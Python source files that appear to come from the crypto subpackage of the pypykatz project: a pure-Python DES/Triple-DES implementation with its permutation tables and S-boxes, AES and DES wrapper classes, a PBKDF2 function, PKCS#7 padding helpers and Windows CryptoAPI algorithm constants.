231 if isinstance(data, unicode):
232 raise ValueError("pyDes can only work with bytes, not Unicode strings.")
233 else:
234 if isinstance(data, str):
235 # Only accept ascii unicode values.
236 try:
237 return data.encode('ascii')
238 except UnicodeEncodeError:
239 pass
240 raise ValueError("pyDes can only work with encoded strings, not Unicode.")
241 return data
242
243 #############################################################################
244 # DES #
245 #############################################################################
246 class des(_baseDes):
247 """DES encryption/decrytpion class
248
249 Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
250
251 pyDes.des(key,[mode], [IV])
252
253 key -> Bytes containing the encryption key, must be exactly 8 bytes
254 mode -> Optional argument for encryption type, can be either pyDes.ECB
255 (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
256 IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
257 Must be 8 bytes in length.
258 pad -> Optional argument, set the pad character (PAD_NORMAL) to use
259 during all encrypt/decrypt operations done with this instance.
260 padmode -> Optional argument, set the padding mode (PAD_NORMAL or
261 PAD_PKCS5) to use during all encrypt/decrypt operations done
262 with this instance.
263 """
264
265
266 # Permutation and translation tables for DES
267 __pc1 = [56, 48, 40, 32, 24, 16, 8,
268 0, 57, 49, 41, 33, 25, 17,
269 9, 1, 58, 50, 42, 34, 26,
270 18, 10, 2, 59, 51, 43, 35,
271 62, 54, 46, 38, 30, 22, 14,
272 6, 61, 53, 45, 37, 29, 21,
273 13, 5, 60, 52, 44, 36, 28,
274 20, 12, 4, 27, 19, 11, 3
275 ]
276
277 # number left rotations of pc1
278 __left_rotations = [
279 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
280 ]
281
282 # permuted choice key (table 2)
283 __pc2 = [
284 13, 16, 10, 23, 0, 4,
285 2, 27, 14, 5, 20, 9,
286 22, 18, 11, 3, 25, 7,
287 15, 6, 26, 19, 12, 1,
288 40, 51, 30, 36, 46, 54,
289 29, 39, 50, 44, 32, 47,
290 43, 48, 38, 55, 33, 52,
291 45, 41, 49, 35, 28, 31
292 ]
293
294 # initial permutation IP
295 __ip = [57, 49, 41, 33, 25, 17, 9, 1,
296 59, 51, 43, 35, 27, 19, 11, 3,
297 61, 53, 45, 37, 29, 21, 13, 5,
298 63, 55, 47, 39, 31, 23, 15, 7,
299 56, 48, 40, 32, 24, 16, 8, 0,
300 58, 50, 42, 34, 26, 18, 10, 2,
301 60, 52, 44, 36, 28, 20, 12, 4,
302 62, 54, 46, 38, 30, 22, 14, 6
303 ]
304
305 # Expansion table for turning 32 bit blocks into 48 bits
306 __expansion_table = [
307 31, 0, 1, 2, 3, 4,
308 3, 4, 5, 6, 7, 8,
309 7, 8, 9, 10, 11, 12,
310 11, 12, 13, 14, 15, 16,
311 15, 16, 17, 18, 19, 20,
312 19, 20, 21, 22, 23, 24,
313 23, 24, 25, 26, 27, 28,
314 27, 28, 29, 30, 31, 0
315 ]
316
317 # The (in)famous S-boxes
318 __sbox = [
319 # S1
320 [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
321 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
322 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
323 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
324
325 # S2
326 [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
327 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
328 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
329 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
330
331 # S3
332 [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
333 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
334 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
335 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
336
337 # S4
338 [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
339 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
340 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
341 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
342
343 # S5
344 [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
345 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
346 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
347 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
348
349 # S6
350 [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
351 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
352 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
353 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
354
355 # S7
356 [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
357 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
358 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
359 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
360
361 # S8
362 [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
363 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
364 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
365 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
366 ]
367
368
369 # 32-bit permutation function P used on the output of the S-boxes
370 __p = [
371 15, 6, 19, 20, 28, 11,
372 27, 16, 0, 14, 22, 25,
373 4, 17, 30, 9, 1, 7,
374 23,13, 31, 26, 2, 8,
375 18, 12, 29, 5, 21, 10,
376 3, 24
377 ]
378
379 # final permutation IP^-1
380 __fp = [
381 39, 7, 47, 15, 55, 23, 63, 31,
382 38, 6, 46, 14, 54, 22, 62, 30,
383 37, 5, 45, 13, 53, 21, 61, 29,
384 36, 4, 44, 12, 52, 20, 60, 28,
385 35, 3, 43, 11, 51, 19, 59, 27,
386 34, 2, 42, 10, 50, 18, 58, 26,
387 33, 1, 41, 9, 49, 17, 57, 25,
388 32, 0, 40, 8, 48, 16, 56, 24
389 ]
390
391 # Type of crypting being done
392 ENCRYPT = 0x00
393 DECRYPT = 0x01
394
395 # Initialisation
396 def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
397 # Sanity checking of arguments.
398 if len(key) != 8:
399 raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
400 _baseDes.__init__(self, mode, IV, pad, padmode)
401 self.key_size = 8
402
403 self.L = []
404 self.R = []
405 self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16)
406 self.final = []
407
408 self.setKey(key)
409
410 def setKey(self, key):
411 """Will set the crypting key for this object. Must be 8 bytes."""
412 _baseDes.setKey(self, key)
413 self.__create_sub_keys()
414
415 def __String_to_BitList(self, data):
416 """Turn the string data, into a list of bits (1, 0)'s"""
417 if _pythonMajorVersion < 3:
418 # Turn the strings into integers. Python 3 uses a bytes
419 # class, which already has this behaviour.
420 data = [ord(c) for c in data]
421 l = len(data) * 8
422 result = [0] * l
423 pos = 0
424 for ch in data:
425 i = 7
426 while i >= 0:
427 if ch & (1 << i) != 0:
428 result[pos] = 1
429 else:
430 result[pos] = 0
431 pos += 1
432 i -= 1
433
434 return result
435
436 def __BitList_to_String(self, data):
437 """Turn the list of bits -> data, into a string"""
438 result = []
439 pos = 0
440 c = 0
441 while pos < len(data):
442 c += data[pos] << (7 - (pos % 8))
443 if (pos % 8) == 7:
444 result.append(c)
445 c = 0
446 pos += 1
447
448 if _pythonMajorVersion < 3:
449 return ''.join([ chr(c) for c in result ])
450 else:
451 return bytes(result)
452
453 def __permutate(self, table, block):
454 """Permutate this block with the specified table"""
455 return list(map(lambda x: block[x], table))
456
457 # Transform the secret key, so that it is ready for data processing
458 # Create the 16 subkeys, K[1] - K[16]
459 def __create_sub_keys(self):
460 """Create the 16 subkeys K[1] to K[16] from the given key"""
461 key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
462 i = 0
463 # Split into Left and Right sections
464 self.L = key[:28]
465 self.R = key[28:]
466 while i < 16:
467 j = 0
468 # Perform circular left shifts
469 while j < des.__left_rotations[i]:
470 self.L.append(self.L[0])
471 del self.L[0]
472
473 self.R.append(self.R[0])
474 del self.R[0]
475
476 j += 1
477
478 # Create one of the 16 subkeys through pc2 permutation
479 self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
480
481 i += 1
482
483 def replace_K(self, K):
484 #print(self.Kn)
485 #input('above the original')
486 #print(K)
487 #input('above the replacement')
488 self.Kn = K
489
490 # Main part of the encryption algorithm, the number cruncher :)
491 def __des_crypt(self, block, crypt_type):
492 """Crypt the block of data through DES bit-manipulation"""
493 block = self.__permutate(des.__ip, block)
494 self.L = block[:32]
495 self.R = block[32:]
496
497 # Encryption starts from Kn[1] through to Kn[16]
498 if crypt_type == des.ENCRYPT:
499 iteration = 0
500 iteration_adjustment = 1
501 # Decryption starts from Kn[16] down to Kn[1]
502 else:
503 iteration = 15
504 iteration_adjustment = -1
505
506 i = 0
507 while i < 16:
508 # Make a copy of R[i-1], this will later become L[i]
509 tempR = self.R[:]
510
511 # Permutate R[i - 1] to start creating R[i]
512 self.R = self.__permutate(des.__expansion_table, self.R)
513
514 # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
515 self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
516 B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
517 # Optimization: Replaced below commented code with above
518 #j = 0
519 #B = []
520 #while j < len(self.R):
521 # self.R[j] = self.R[j] ^ self.Kn[iteration][j]
522 # j += 1
523 # if j % 6 == 0:
524 # B.append(self.R[j-6:j])
525
526 # Permutate B[1] to B[8] using the S-Boxes
527 j = 0
528 Bn = [0] * 32
529 pos = 0
530 while j < 8:
531 # Work out the offsets
532 m = (B[j][0] << 1) + B[j][5]
533 n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
534
535 # Find the permutation value
536 v = des.__sbox[j][(m << 4) + n]
537
538 # Turn value into bits, add it to result: Bn
539 Bn[pos] = (v & 8) >> 3
540 Bn[pos + 1] = (v & 4) >> 2
541 Bn[pos + 2] = (v & 2) >> 1
542 Bn[pos + 3] = v & 1
543
544 pos += 4
545 j += 1
546
547 # Permutate the concatination of B[1] to B[8] (Bn)
548 self.R = self.__permutate(des.__p, Bn)
549
550 # Xor with L[i - 1]
551 self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
552 # Optimization: This now replaces the below commented code
553 #j = 0
554 #while j < len(self.R):
555 # self.R[j] = self.R[j] ^ self.L[j]
556 # j += 1
557
558 # L[i] becomes R[i - 1]
559 self.L = tempR
560
561 i += 1
562 iteration += iteration_adjustment
563
564 # Final permutation of R[16]L[16]
565 self.final = self.__permutate(des.__fp, self.R + self.L)
566 return self.final
567
568
569 # Data to be encrypted/decrypted
570 def crypt(self, data, crypt_type):
571 """Crypt the data in blocks, running it through des_crypt()"""
572
573 # Error check the data
574 if not data:
575 return ''
576 if len(data) % self.block_size != 0:
577 if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks
578 raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
579 if not self.getPadding():
580 raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
581 else:
582 data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
583 # print "Len of data: %f" % (len(data) / self.block_size)
584
585 if self.getMode() == CBC:
586 if self.getIV():
587 iv = self.__String_to_BitList(self.getIV())
588 else:
589 raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
590
591 # Split the data into blocks, crypting each one seperately
592 i = 0
593 dict = {}
594 result = []
595 #cached = 0
596 #lines = 0
597 while i < len(data):
598 # Test code for caching encryption results
599 #lines += 1
600 #if dict.has_key(data[i:i+8]):
601 #print "Cached result for: %s" % data[i:i+8]
602 # cached += 1
603 # result.append(dict[data[i:i+8]])
604 # i += 8
605 # continue
606
607 block = self.__String_to_BitList(data[i:i+8])
608
609 # Xor with IV if using CBC mode
610 if self.getMode() == CBC:
611 if crypt_type == des.ENCRYPT:
612 block = list(map(lambda x, y: x ^ y, block, iv))
613 #j = 0
614 #while j < len(block):
615 # block[j] = block[j] ^ iv[j]
616 # j += 1
617
618 processed_block = self.__des_crypt(block, crypt_type)
619
620 if crypt_type == des.DECRYPT:
621 processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))
622 #j = 0
623 #while j < len(processed_block):
624 # processed_block[j] = processed_block[j] ^ iv[j]
625 # j += 1
626 iv = block
627 else:
628 iv = processed_block
629 else:
630 processed_block = self.__des_crypt(block, crypt_type)
631
632
633 # Add the resulting crypted block to our list
634 #d = self.__BitList_to_String(processed_block)
635 #result.append(d)
636 result.append(self.__BitList_to_String(processed_block))
637 #dict[data[i:i+8]] = d
638 i += 8
639
640 # print "Lines: %d, cached: %d" % (lines, cached)
641
642 # Return the full crypted string
643 if _pythonMajorVersion < 3:
644 return ''.join(result)
645 else:
646 return bytes.fromhex('').join(result)
647
648 def encrypt(self, data, pad=None, padmode=None):
649 """encrypt(data, [pad], [padmode]) -> bytes
650
651 data : Bytes to be encrypted
652 pad : Optional argument for encryption padding. Must only be one byte
653 padmode : Optional argument for overriding the padding mode.
654
655 The data must be a multiple of 8 bytes and will be encrypted
656 with the already specified key. Data does not have to be a
657 multiple of 8 bytes if the padding character is supplied, or
658 the padmode is set to PAD_PKCS5, as bytes will then added to
659 ensure the be padded data is a multiple of 8 bytes.
660 """
661 data = self._guardAgainstUnicode(data)
662 if pad is not None:
663 pad = self._guardAgainstUnicode(pad)
664 data = self._padData(data, pad, padmode)
665 return self.crypt(data, des.ENCRYPT)
666
667 def decrypt(self, data, pad=None, padmode=None):
668 """decrypt(data, [pad], [padmode]) -> bytes
669
670 data : Bytes to be decrypted
671 pad : Optional argument for decryption padding. Must only be one byte
672 padmode : Optional argument for overriding the padding mode.
673
674 The data must be a multiple of 8 bytes and will be decrypted
675 with the already specified key. In PAD_NORMAL mode, if the
676 optional padding character is supplied, then the un-encrypted
677 data will have the padding characters removed from the end of
678 the bytes. This pad removal only occurs on the last 8 bytes of
679 the data (last data block). In PAD_PKCS5 mode, the special
680 padding end markers will be removed from the data after decrypting.
681 """
682 data = self._guardAgainstUnicode(data)
683 if pad is not None:
684 pad = self._guardAgainstUnicode(pad)
685 data = self.crypt(data, des.DECRYPT)
686 return self._unpadData(data, pad, padmode)
687
688
689
690 #############################################################################
691 # Triple DES #
692 #############################################################################
693 class triple_des(_baseDes):
694 """Triple DES encryption/decrytpion class
695
696 This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
697 the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
698 Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
699
700 pyDes.des(key, [mode], [IV])
701
702 key -> Bytes containing the encryption key, must be either 16 or
703 24 bytes long
704 mode -> Optional argument for encryption type, can be either pyDes.ECB
705 (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
706 IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
707 Must be 8 bytes in length.
708 pad -> Optional argument, set the pad character (PAD_NORMAL) to use
709 during all encrypt/decrypt operations done with this instance.
710 padmode -> Optional argument, set the padding mode (PAD_NORMAL or
711 PAD_PKCS5) to use during all encrypt/decrypt operations done
712 with this instance.
713 """
714 def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
715 _baseDes.__init__(self, mode, IV, pad, padmode)
716 self.setKey(key)
717
718 def setKey(self, key):
719 """Will set the crypting key for this object. Either 16 or 24 bytes long."""
720 self.key_size = 24 # Use DES-EDE3 mode
721 if len(key) != self.key_size:
722 if len(key) == 16: # Use DES-EDE2 mode
723 self.key_size = 16
724 else:
725 raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
726 if self.getMode() == CBC:
727 if not self.getIV():
728 # Use the first 8 bytes of the key
729 self._iv = key[:self.block_size]
730 if len(self.getIV()) != self.block_size:
731 raise ValueError("Invalid IV, must be 8 bytes in length")
732 self.__key1 = des(key[:8], self._mode, self._iv,
733 self._padding, self._padmode)
734 self.__key2 = des(key[8:16], self._mode, self._iv,
735 self._padding, self._padmode)
736 if self.key_size == 16:
737 self.__key3 = self.__key1
738 else:
739 self.__key3 = des(key[16:], self._mode, self._iv,
740 self._padding, self._padmode)
741 _baseDes.setKey(self, key)
742
743 # Override setter methods to work on all 3 keys.
744
745 def setMode(self, mode):
746 """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
747 _baseDes.setMode(self, mode)
748 for key in (self.__key1, self.__key2, self.__key3):
749 key.setMode(mode)
750
751 def setPadding(self, pad):
752 """setPadding() -> bytes of length 1. Padding character."""
753 _baseDes.setPadding(self, pad)
754 for key in (self.__key1, self.__key2, self.__key3):
755 key.setPadding(pad)
756
757 def setPadMode(self, mode):
758 """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
759 _baseDes.setPadMode(self, mode)
760 for key in (self.__key1, self.__key2, self.__key3):
761 key.setPadMode(mode)
762
763 def setIV(self, IV):
764 """Will set the Initial Value, used in conjunction with CBC mode"""
765 _baseDes.setIV(self, IV)
766 for key in (self.__key1, self.__key2, self.__key3):
767 key.setIV(IV)
768
769 def encrypt(self, data, pad=None, padmode=None):
770 """encrypt(data, [pad], [padmode]) -> bytes
771
772 data : bytes to be encrypted
773 pad : Optional argument for encryption padding. Must only be one byte
774 padmode : Optional argument for overriding the padding mode.
775
776 The data must be a multiple of 8 bytes and will be encrypted
777 with the already specified key. Data does not have to be a
778 multiple of 8 bytes if the padding character is supplied, or
779 the padmode is set to PAD_PKCS5, as bytes will then added to
780 ensure the be padded data is a multiple of 8 bytes.
781 """
782 ENCRYPT = des.ENCRYPT
783 DECRYPT = des.DECRYPT
784 data = self._guardAgainstUnicode(data)
785 if pad is not None:
786 pad = self._guardAgainstUnicode(pad)
787 # Pad the data accordingly.
788 data = self._padData(data, pad, padmode)
789 if self.getMode() == CBC:
790 self.__key1.setIV(self.getIV())
791 self.__key2.setIV(self.getIV())
792 self.__key3.setIV(self.getIV())
793 i = 0
794 result = []
795 while i < len(data):
796 block = self.__key1.crypt(data[i:i+8], ENCRYPT)
797 block = self.__key2.crypt(block, DECRYPT)
798 block = self.__key3.crypt(block, ENCRYPT)
799 self.__key1.setIV(block)
800 self.__key2.setIV(block)
801 self.__key3.setIV(block)
802 result.append(block)
803 i += 8
804 if _pythonMajorVersion < 3:
805 return ''.join(result)
806 else:
807 return bytes.fromhex('').join(result)
808 else:
809 data = self.__key1.crypt(data, ENCRYPT)
810 data = self.__key2.crypt(data, DECRYPT)
811 return self.__key3.crypt(data, ENCRYPT)
812
813 def decrypt(self, data, pad=None, padmode=None):
814 """decrypt(data, [pad], [padmode]) -> bytes
815
816 data : bytes to be encrypted
817 pad : Optional argument for decryption padding. Must only be one byte
818 padmode : Optional argument for overriding the padding mode.
819
820 The data must be a multiple of 8 bytes and will be decrypted
821 with the already specified key. In PAD_NORMAL mode, if the
822 optional padding character is supplied, then the un-encrypted
823 data will have the padding characters removed from the end of
824 the bytes. This pad removal only occurs on the last 8 bytes of
825 the data (last data block). In PAD_PKCS5 mode, the special
826 padding end markers will be removed from the data after
827 decrypting, no pad character is required for PAD_PKCS5.
828 """
829 ENCRYPT = des.ENCRYPT
830 DECRYPT = des.DECRYPT
831 data = self._guardAgainstUnicode(data)
832 if pad is not None:
833 pad = self._guardAgainstUnicode(pad)
834 if self.getMode() == CBC:
835 self.__key1.setIV(self.getIV())
836 self.__key2.setIV(self.getIV())
837 self.__key3.setIV(self.getIV())
838 i = 0
839 result = []
840 while i < len(data):
841 iv = data[i:i+8]
842 block = self.__key3.crypt(iv, DECRYPT)
843 block = self.__key2.crypt(block, ENCRYPT)
844 block = self.__key1.crypt(block, DECRYPT)
845 self.__key1.setIV(iv)
846 self.__key2.setIV(iv)
847 self.__key3.setIV(iv)
848 result.append(block)
849 i += 8
850 if _pythonMajorVersion < 3:
851 data = ''.join(result)
852 else:
853 data = bytes.fromhex('').join(result)
854 else:
855 data = self.__key3.crypt(data, DECRYPT)
856 data = self.__key2.crypt(data, ENCRYPT)
857 data = self.__key1.crypt(data, DECRYPT)
858 return self._unpadData(data, pad, padmode)
859
860 # from impacket
861 def expand_DES_key(key):
862 # Expand the key from a 7-byte password key into a 8-byte DES key
863 key = key[:7]
864 key += b'\x00'*(7-len(key))
865 s = (((key[0] >> 1) & 0x7f) << 1).to_bytes(1, byteorder = 'big')
866 s += (((key[0] & 0x01) << 6 | ((key[1] >> 2) & 0x3f)) << 1).to_bytes(1, byteorder = 'big')
867 s += (((key[1] & 0x03) << 5 | ((key[2] >> 3) & 0x1f)) << 1).to_bytes(1, byteorder = 'big')
868 s += (((key[2] & 0x07) << 4 | ((key[3] >> 4) & 0x0f)) << 1).to_bytes(1, byteorder = 'big')
869 s += (((key[3] & 0x0f) << 3 | ((key[4] >> 5) & 0x07)) << 1).to_bytes(1, byteorder = 'big')
870 s += (((key[4] & 0x1f) << 2 | ((key[5] >> 6) & 0x03)) << 1).to_bytes(1, byteorder = 'big')
871 s += (((key[5] & 0x3f) << 1 | ((key[6] >> 7) & 0x01)) << 1).to_bytes(1, byteorder = 'big')
872 s += ( (key[6] & 0x7f) << 1).to_bytes(1, byteorder = 'big')
873 return s
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz.crypto.aes import AESModeOfOperationCBC, AESModeOfOperationECB
7 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
8
9
10 class AES:
11 def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None):
12 self.key = key
13 self.mode = mode
14 self.iv = iv
15 self.block_size = 16
16 self.ctx = None
17 self.setup()
18
19 def setup(self):
20 if self.mode == SYMMETRIC_MODE.ECB:
21 self.ctx = AESModeOfOperationECB(self.key)
22 elif self.mode == SYMMETRIC_MODE.CBC:
23 self.ctx = AESModeOfOperationCBC(self.key, iv = self.iv)
24 else:
25 raise Exception('Unknown mode!')
26
27 def encrypt(self, data):
28 if len(data) % self.block_size != 0:
29 raise Exception('Data size not matching blocksize!')
30 res = b''
31 for block in [data[i:i+self.block_size] for i in range(0, len(data), self.block_size)]: #terrible, terrible workaround
32 res += self.ctx.encrypt(block)
33 return res
34
35 def decrypt(self, data):
36 if len(data) % self.block_size != 0:
37 raise Exception('Data size not matching blocksize!')
38 res = b''
39 for block in [data[i:i+self.block_size] for i in range(0, len(data), self.block_size)]: #terrible, terrible workaround
40 res += self.ctx.decrypt(block)
41 return res
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import enum
7
8 class SYMMETRIC_MODE(enum.Enum):
9 ECB = 0
10 CBC = 1
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz.crypto.des import des, ECB, CBC, expand_DES_key
7 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
8
9
10 class DES:
11 def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None):
12 self.key = key
13 self.mode = mode
14 self.iv = iv
15 self.block_size = 8
16 self.ctx = None
17 self.setup()
18
19 def setup(self):
20 if len(self.key) == 7:
21 self.key = expand_DES_key(self.key)
22
23 if self.mode == SYMMETRIC_MODE.ECB:
24 self.ctx = des(self.key, mode = ECB)
25 elif self.mode == SYMMETRIC_MODE.CBC:
26 self.ctx = des(self.key, mode = CBC, IV = self.iv)
27 else:
28 raise Exception('Unknown mode!')
29
30 def encrypt(self, data):
31 return self.ctx.encrypt(data)
32
33 def decrypt(self, data):
34 return self.ctx.decrypt(data)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz.crypto.des import triple_des, ECB, CBC
7 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
8
9
10 class DES3:
11 def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None):
12 self.key = key
13 self.mode = mode
14 self.iv = iv
15 self.block_size = 8
16 self.ctx = None
17 self.setup()
18
19 def setup(self):
20 if self.mode == SYMMETRIC_MODE.ECB:
21 self.ctx = triple_des(self.key, mode = ECB)
22 elif self.mode == SYMMETRIC_MODE.CBC:
23 self.ctx = triple_des(self.key, mode = CBC, IV = self.iv)
24 else:
25 raise Exception('Unknown mode!')
26
27 def encrypt(self, data):
28 return self.ctx.encrypt(data)
29
30 def decrypt(self, data):
31 return self.ctx.decrypt(data)
0
1 #https://codereview.stackexchange.com/questions/87538/python-pbkdf2-using-core-modules
2 import hmac
3 import struct
4 import hashlib
5
6 def pbkdf2(password, salt, iters, keylen, digestmod = hashlib.sha1):
7 """Run the PBKDF2 (Password-Based Key Derivation Function 2) algorithm
8 and return the derived key. The arguments are:
9
10 password (bytes or bytearray) -- the input password
11 salt (bytes or bytearray) -- a cryptographic salt
12 iters (int) -- number of iterations
13 keylen (int) -- length of key to derive
14 digestmod -- a cryptographic hash function: either a module
15 supporting PEP 247, a hashlib constructor, or (in Python 3.4
16 or later) the name of a hash function.
17
18 For example:
19
20 >>> import hashlib
21 >>> from binascii import hexlify, unhexlify
22 >>> password = b'Squeamish Ossifrage'
23 >>> salt = unhexlify(b'1234567878563412')
24 >>> hexlify(pbkdf2(password, salt, 500, 16, hashlib.sha1))
25 b'9e8f1072bdf5ef042bd988c7da83e43b'
26
27 """
28 h = hmac.new(password, digestmod=digestmod)
29 def prf(data):
30 hm = h.copy()
31 hm.update(data)
32 return bytearray(hm.digest())
33
34 key = bytearray()
35 i = 1
36 while len(key) < keylen:
37 T = U = prf(salt + struct.pack('>i', i))
38 for _ in range(iters - 1):
39 U = prf(U)
40 T = bytearray(x ^ y for x, y in zip(T, U))
41 key += T
42 i += 1
43
44 return key[:keylen]
0
1
2 # https://gist.github.com/adoc/8550490
3 def unpad(bytestring, k=16):
4 """
5 Remove the PKCS#7 padding from a text bytestring.
6 """
7
8 val = bytestring[-1]
9 if val > k:
10 raise ValueError('Input is not padded or padding is corrupt')
11 l = len(bytestring) - val
12 return bytestring[:l]
13
14
15 ## @param bytestring The text to encode.
16 ## @param k The padding block size.
17 # @return bytestring The padded bytestring.
18 def pad(bytestring, k=16):
19 """
20 Pad an input bytestring according to PKCS#7
21
22 """
23 l = len(bytestring)
24 val = k - (l % k)
25 return bytestring + bytearray([val] * val)
(New empty file)
0 import enum
1
2 # https://eljay.github.io/directx-sys/winapi/wincrypt/index.html
3 # https://doxygen.reactos.org/d7/d4a/wincrypt_8h.html
4 # impacket dpapi.py
5
6 from hashlib import sha1 as SHA1
7 from hashlib import sha512 as SHA512
8 from pypykatz.crypto.unified.aes import AES
9 from pypykatz.crypto.unified.des3 import DES3
10 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
11
12
13 # Algorithm classes
14 ALG_CLASS_ANY = (0)
15 ALG_CLASS_SIGNATURE = (1 << 13)
16 ALG_CLASS_MSG_ENCRYPT = (2 << 13)
17 ALG_CLASS_DATA_ENCRYPT = (3 << 13)
18 ALG_CLASS_HASH = (4 << 13)
19 ALG_CLASS_KEY_EXCHANGE = (5 << 13)
20 ALG_CLASS_ALL = (7 << 13)
21
22 # Algorithm types
23 ALG_TYPE_ANY = (0)
24 ALG_TYPE_DSS = (1 << 9)
25 ALG_TYPE_RSA = (2 << 9)
26 ALG_TYPE_BLOCK = (3 << 9)
27 ALG_TYPE_STREAM = (4 << 9)
28 ALG_TYPE_DH = (5 << 9)
29 ALG_TYPE_SECURECHANNEL = (6 << 9)
30 ALG_SID_ANY = (0)
31 ALG_SID_RSA_ANY = 0
32 ALG_SID_RSA_PKCS = 1
33 ALG_SID_RSA_MSATWORK = 2
34 ALG_SID_RSA_ENTRUST = 3
35 ALG_SID_RSA_PGP = 4
36 ALG_SID_DSS_ANY = 0
37 ALG_SID_DSS_PKCS = 1
38 ALG_SID_DSS_DMS = 2
39 ALG_SID_ECDSA = 3
40
41 # Block cipher sub ids
42 ALG_SID_DES = 1
43 ALG_SID_3DES = 3
44 ALG_SID_DESX = 4
45 ALG_SID_IDEA = 5
46 ALG_SID_CAST = 6
47 ALG_SID_SAFERSK64 = 7
48 ALG_SID_SAFERSK128 = 8
49 ALG_SID_3DES_112 = 9
50 ALG_SID_CYLINK_MEK = 12
51 ALG_SID_RC5 = 13
52 ALG_SID_AES_128 = 14
53 ALG_SID_AES_192 = 15
54 ALG_SID_AES_256 = 16
55 ALG_SID_AES = 17
56 ALG_SID_SKIPJACK = 10
57 ALG_SID_TEK = 11
58
